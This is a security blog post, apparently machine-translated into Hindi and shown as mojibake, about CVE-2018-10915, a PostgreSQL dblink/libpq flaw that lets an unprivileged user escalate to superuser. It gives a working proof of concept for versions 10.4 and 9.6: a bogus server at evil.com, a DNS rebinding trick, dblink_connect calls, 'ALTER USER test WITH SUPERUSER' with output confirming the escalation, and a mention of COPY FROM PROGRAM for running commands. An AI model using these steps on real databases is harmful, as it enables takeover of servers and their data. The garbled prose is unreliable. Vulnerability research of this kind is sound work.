
рдпрд╣ рдХреЛрдИ рд░рд╣рд╕реНрдп рдирд╣реАрдВ рд╣реИ рдХрд┐ рд░рд╛рдЬреНрдп рдХреА рдХрд╛рд░реЗрдВ рд╣рдорд╛рд░реЗ рдмреАрдЪ рд╣реИрдВред рд╡реЗ рдпреВрдЖрдИ рд╕реЗ рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдЯреИрдХ рддрдХ рд╣рд░ рдЬрдЧрд╣ рд╢рд╛рдмреНрджрд┐рдХ рд╣реИрдВред рдХрднреА рдЬрдЯрд┐рд▓, рдХрднреА рд╕рд░рд▓ред рдХрднреА-рдХрднреА рд╕реБрд░рдХреНрд╖рд╛-рд╕рдВрдмрдВрдзреА, рдХрднреА-рдХрднреА рдмрд╣реБрдд рдирд╣реАрдВред рд▓реЗрдХрд┐рди, рдЕрдХреНрд╕рд░, рдЕрдзреНрдпрдпрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╛рдлреА рдЖрдХрд░реНрд╖рдХ :) рдЖрдЬ рдореИрдВ рдкреЛрд╕реНрдЯрдЧреНрд░реЗрд╕реАрдХреНрдпреВ - CVE-2018-10915 рдХреЗ рд╕рд╛рде рдПрдХ рдордЬреЗрджрд╛рд░ рдорд╛рдорд▓реЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВ , рдЬрд┐рд╕рд╕реЗ рд╕реБрдкрд░рд╕реБрд╕рд░ рдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓реА ред
рдЫреЛрдЯрд╛ рдЗрдВрдЯреНрд░реЛ
рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ, рдкреНрд░рдмрдВрдзрд┐рдд рдбреЗрдЯрд╛рдмреЗрд╕ рджреБрдирд┐рдпрд╛ рдХреЛ рдЧрддрд┐ рджреЗрддреЗ рд╣реИрдВред рдпрд╣ рдЖрд╢реНрдЪрд░реНрдп рдХреА рдмрд╛рдд рдирд╣реАрдВ рд╣реИ - рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ рд╕рд░рд▓ рд╣реИ, рдЖрд╡реЗрджрди рдХреА рдорд╛рдВрдЧ рдирд╣реАрдВ рд╣реИ, рддреЛ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдЖрдзрд╛рд░ рдХреА рддреИрдпрд╛рд░реА рдХреЗ рд╕рд╛рде рдЕрднрд┐рд╢рд╛рдк рдХреНрдпреЛрдВ рдХрд░реЗрдВред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдЕрдзрд┐рдХрд╛рдВрд╢ рдХреНрд▓рд╛рдЙрдб (рдпрд╛ рд╡рд┐рд╢реЗрд╖) рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреЗ рд╕рд╛рде, рдЖрдк рдЕрдкрдиреЗ рдЖрдк рдХреЛ рдПрдХ MySQL / PostgreSQL / MongoDB / etc рдбреЗрдЯрд╛рдмреЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХрднреА рднреА рдЦреБрд╢реА рд╕реЗ рд░рд╣ рд╕рдХрддреЗ рд╣реИрдВред рдмреЗрд╢рдХ, рдпрд╣ рдЕрддрд┐рд░рд┐рдХреНрдд рд╕рдорд╕реНрдпрд╛рдУрдВ рдХрд╛ рдХрд╛рд░рдг рдмрдирд╛, рдЬреИрд╕рд╛ рдХрд┐ рдпрджрд┐ рдкрд╣рд▓реЗ, рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╕реНрдпрд╛рдУрдВ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рдРрдк рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╣реЛрддрд╛ рдерд╛ (рдЬреЛ рдХрд┐ рдЬреНрдпрд╛рджрд╛рддрд░ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЧреЗрдо рдЦрддреНрдо рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ), рдЕрдм рд╡реЗ рдирдВрдЧреА рдЧрд╛рдВрдб рдЙрдирдХрд╛ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП рдЦрдбрд╝рд╛ рд╣реИред рдЗрд╕ рддрдереНрдп рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рдЯрд┐рдкреНрдкрдгреА рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП рдХрд┐ рдЕрдЧрд▓рд╛ рдЕрд╡рд░реЛрдз рдЙрдЪреНрдЪ рдЧреБрдгрд╡рддреНрддрд╛ рд╡рд╛рд▓рд╛ рдмреБрдирд┐рдпрд╛рджреА рдврд╛рдВрдЪрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдпрд╣ рд╕рдЪ рд╣реИ, рд▓реЗрдХрд┐рди рдЖрдЬ рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рд╣реИред
CVE-2018-10915 рдХрд╛ рд╕рд╛рд░
- рдЬреНрдпрд╛рджрд╛рддрд░ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, PostgreSQL рдХреЛ рд╕реНрдерд╛рдиреАрдп рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИред рд╕рд░рдХрд╛рд░реА рдбреЙрдХрдЯрд░ рдЫрд╡рд┐ рд╕реЗ рдПрдХ рдЙрджрд╛рд╣рд░рдг:
# pg_hba.conf from PostgreSQL docker image # note: debian pkg marked only "local" connections as trusted # "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust
- Dblink рдФрд░ postgres_fdw рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, рдЖрдк рджреВрд░рд╕реНрде рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдФрд░ рдордВрдЪреЛрдВ рд╕реЗ рджреЗрдЦрддреЗ рд╣реБрдП, рдЙрдкрднреЛрдХреНрддрд╛рдУрдВ рд╕реЗ рдЕрдХреНрд╕рд░ рдЙрдирдХреА рдЙрдкрд▓рдмреНрдзрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкреВрдЫрд╛ рдЬрд╛рддрд╛ рд╣реИ;)
- рд▓реЗрдЦрдХреЛрдВ рдХреЛ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдкрд░ рдЬрд▓рд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЗрд╕рд▓рд┐рдП рдЙрдиреНрд╣реЛрдВрдиреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рдмрд┐рдирд╛ рдПрдХ рд╣реИрдХ рдкреНрд░рддрд┐рдмрдВрдз рдХрдиреЗрдХреНрд╢рди рдмрдирд╛рдпрд╛:
password_needed
рдзреНрд╡рдЬ рд╕рд░реНрд╡рд░ рд╕реЗ AUTH_REQ_MD5
рдпрд╛ AUTH_REQ_PASSWORD
рд╕рдВрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рд░рд╛рдЬреНрдп рдорд╢реАрди рджреНрд╡рд╛рд░рд╛ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИlibpq
рдХрдИ IP (pg 9.x) рдпрд╛ рд╣реЛрд╕реНрдЯ (pg 10.x / 11.x) рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ- рд╣рдорд╛рд░реЗ рд▓рд┐рдП рджреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдорд╛рдорд▓реЛрдВ рдореЗрдВ
password_needed
рдзреНрд╡рдЬ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рд░рд╛рдЬреНрдп рдорд╢реАрди рдЕрдЧрд▓реЗ IP / рд╣реЛрд╕реНрдЯ рдкрд░ рдЬрд╛рддреА рд╣реИ:
- рд╣рдо рдПрдХ рд▓реЗрдЦрди рд╕рддреНрд░ (
target_session_attrs=read-write
) рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдФрд░ рд╕рд░реНрд╡рд░ рдХреЗрд╡рд▓-рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ - рдПрдХ
unknown application_name
рддреНрд░реБрдЯрд┐ рдорд┐рд▓рдиреЗ рдкрд░
- рдЕрдЧрд▓реЗ рдЖрдИрдкреА / рд╣реЛрд╕реНрдЯ рдкрд░ рдЬрд╛рддреЗ рд╕рдордп, pDDropConnection рдХреЛ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ , рдЬреЛ рдХрдиреЗрдХреНрд╢рди рдбреЗрдЯрд╛ рдХреЛ рдмрд╣реБрдд рд╣реА рдЪреБрдирд┐рдВрджрд╛ рд░реВрдк рд╕реЗ рд╕рд╛рдлрд╝ рдХрд░рддрд╛ рд╣реИ (рдХреНрдпреЛрдВрдХрд┐ рдЙрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдХреЛ рдлрд┐рд░ рд╕реЗ рдЬреЛрдбрд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИ)ред рд╕рдВрдХреЗрдд:
password_needed
рд░реАрд╕реЗрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ - рдпрд╣ dblink_security_check рдЪреЗрдХ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдЬрдм рдЕрдЧрд▓реЗ рдореЗрдЬрдмрд╛рди рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдзреНрд╡рдЬ рдкрд┐рдЫрд▓реЗ рдореВрд▓реНрдп рдХреЗ рд╕рд╛рде рд░рд╣рддрд╛ рд╣реИ
- рд▓рд╛рдн
рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдпрджрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдЗрд╕ рд╣реЛрд╕реНрдЯ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХрдиреЗрдХреНрд╢рди рдХреЗ рд╕рд╛рде dblink
рдФрд░ PostgreSQL рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ, рддреЛ рд╣рдо рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, postgres
рд╕реБрдкрд░рд╡рд╛рдЗрдЬрд╝рд░ рдХреА рдУрд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдЕрдкрдиреА рдУрд░ рд╕реЗ рдХреБрдЫ рднреА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдордирдорд╛рдиреЗ рдЖрджреЗрд╢реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ COPY foo FROM PROGRAM 'whoami';
рд╕рд┐рджреНрдзрд╛рдВрдд рд╕реЗ рдЕрднреНрдпрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП - PostgreSQL 10.4!
рд▓реЗрдХрд┐рди рдЖрдк рдХреЗрд╡рд▓ рдПрдХ рд╕рд┐рджреНрдзрд╛рдВрдд рд╕реЗ рддрдВрдЧ рдирд╣реАрдВ рд╣реЛрдВрдЧреЗ, рдЗрд╕рд▓рд┐рдП рдореИрдВрдиреЗ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдиреЗ рдХрд╛ рдПрдХ рдЫреЛрдЯрд╛ рд╕рд╛ рдЙрджрд╛рд╣рд░рдг рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ред рд╣рдо PostgreSQL 10.4 рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рдХрд░реЗрдВрдЧреЗред
- рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рд╕рд░рд▓ рдкреЛрд╕реНрдЯрдЧреНрд░реИрд╕рдХреНрдпреВрдПрд▓ рд╕рд░реНрд╡рд░ ( рдмреЛрдЧрд╕-рдкреАрдЬреАрдПрд╕рдЖрд░рд╡реА ) рд▓рд┐рдЦреЗрдВ рдФрд░ рдЪрд▓рд╛рдПрдВ, рдЬрд┐рд╕реЗ рдХрд┐рд╕реА рднреА рдЕрдиреБрд░реЛрдз рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдФрд░ рдЗрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдПрдХ рддреНрд░реБрдЯрд┐ рднреЗрдЬреЗрдВ
ERRCODE_APPNAME_UNKNOWN
:
$ psql "host=evil.com user=test password=test application_name=bar" psql: ERROR: unknown app name could not connect to server: Connection refused Is the server running on host "evil.com" (1.1.1.1) and accepting TCP/IP connections on port 5432?
- рдЕрдм рдкрд░реАрдХреНрд╖рдг PostgreSQL рддреИрдпрд╛рд░ рдХрд░реЗрдВ:
$ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:10.4 e5f07b396d51059c3abf53c8f4f78b0b90a9966289e6df03eb4eccaeeb364545 $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL
- рд╣рдо рдЬрд╛рдБрдЪрддреЗ рд╣реИрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛
test
рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЕрдзрд┐рдХрд╛рд░ рдирд╣реАрдВ рд╣реИрдВ:
$ psql "host=localhost user=test password=test" <<'SQL' \du SQL List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test
- рдЙрддреНрдХреГрд╖реНрдЯ, рдЕрдм рд╣рдо рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ:
$ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=evil.com,localhost user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser
- рдмрд╕ рдЗрддрдирд╛ рд╣реАред рд╣рдо рдЬреЛ рдЪрд╛рд╣реЗрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ ^ _ ^
рд╕рд┐рджреНрдзрд╛рдВрдд рд╕реЗ рдЕрднреНрдпрд╛рд╕ рддрдХ - PostgreSQL 9.6!
PostgreSQL 9.x рдХреЗ рд╕рд╛рде, рдЪреАрдЬреЗрдВ рдереЛрдбрд╝реА рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореЗрдЬрдмрд╛рдиреЛрдВ рдХреА рд╕реВрдЪреА рдХреА рдЧрдгрдирд╛ рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдкрддрд╛ рдХрдИ рдЖрдИрдкреА рдореЗрдВ рдмрджрд▓ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдЙрди рд╕рднреА рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░ рджреЗрдЧрд╛! рдФрд░ рдХрдм рд╕реЗ IPv6 рдкрддреЛрдВ рдореЗрдВ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рд╣реИ ( RFC6724 рджреЗрдЦреЗрдВ), рд╣рдо рдХреЗрд╡рд▓ AAAA рдЕрдиреБрд░реЛрдз рдХреЗ рд▓рд┐рдП рд╣рдорд╛рд░реЗ IPs рдХрд╛ рдЬрд╡рд╛рдм рджреЗрдХрд░ рдФрд░ ERRCODE_APPNAME_UNKNOWN
рдХреЛ рднреЗрдЬрдиреЗ рдХреЗ рдмрд╛рдж рдХреБрдЫ рд╕реЗрдХрдВрдб рдХреЗ рд▓рд┐рдП 127.0.0.1 рд╕реЗ A + рдбреНрд░реЙрдкрд┐рдВрдЧ рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдРрд╕рд╛ рд╣реА рдХрд░ ERRCODE_APPNAME_UNKNOWN
:
- DNS рддреИрдпрд╛рд░ рдХрд░реЗрдВ:
$ host 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has address 127.0.0.1 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has IPv6 address 2a01:7e01::f03c:91ff:fe3b:c9ba
- рдПрдХ рд╣реА рдлрд░реНрдЬреА pgsql рдЪрд▓рд╛рддреЗ рд╣реИрдВ
- рдФрд░ рдлрд┐рд░ рд╕реЗ рдкрд░реАрдХреНрд╖рдг рддреИрдпрд╛рд░ рдХрд░реЗрдВ PostgreSQL (IPv6 рдХреЛ рдбреЙрдХрдЯрд░ рдХреЗ рд▓рд┐рдП рдХрд╛рдо рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП, рдпрд╣ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ):
$ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:9.6 dfda35ab80ae9dbd69322d00452b7d829f90874b7c70f03bd4e05afec97d296c $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL
- рд╣рдо рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ:
$ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser | {}
- рдмрд╕ рдЗрддрдирд╛ рд╣реАред рд╣рдо рдЬреЛ рдЪрд╛рд╣реЗрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ ^ _ ^
рдирд┐рд╖реНрдХрд░реНрд╖
рдореИрдВ рдХреБрдЫ рдЪрддреБрд░ рд▓рд┐рдЦрдХрд░ рдирд┐рд╖реНрдХрд░реНрд╖ рдирд┐рдХрд╛рд▓рдирд╛ рдЪрд╛рд╣рддрд╛ рдерд╛, рд▓реЗрдХрд┐рди, рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рдореЗрд░реЗ рдкрд╛рд╕ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХрд╛ рдХреЛрдИ рдЕрдЪреНрдЫрд╛, рд╕рд░рд▓ рдФрд░ рд╕рд╛рд░реНрд╡рднреМрдорд┐рдХ рддрд░реАрдХрд╛ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдЖрдкрдХреА рд░рд╛рдЬреНрдп рдорд╢реАрди рдХреЗ рд╕рд╛рде рд╕рдм рдХреБрдЫ рдареАрдХ рд╣реИред рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдпрд╛рд╕ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдореИрдВрдиреЗ рдЬреЛ рджреЗрдЦрд╛, рд╡реЗ рдпрд╛ рддреЛ рдмрд╣реБрдд рдЕрдзрд┐рдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣реИрдВ, рдпрд╛ рд╡реЗ рдЕрднреА рднреА рддрд╛рд░реНрдХрд┐рдХ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рд╕рддрд░реНрдХрддрд╛ рдФрд░ рд╕рдореАрдХреНрд╖рд╛ рдкрд░ рдЖрдВрдЦреЛрдВ рдХреА рдПрдХ рдЕрддрд┐рд░рд┐рдХреНрдд рдЬреЛрдбрд╝реА рдХреЗ рд▓рд┐рдП рдЖрд╢рд╛ рдмрдиреА рд╣реБрдИ рд╣реИ :(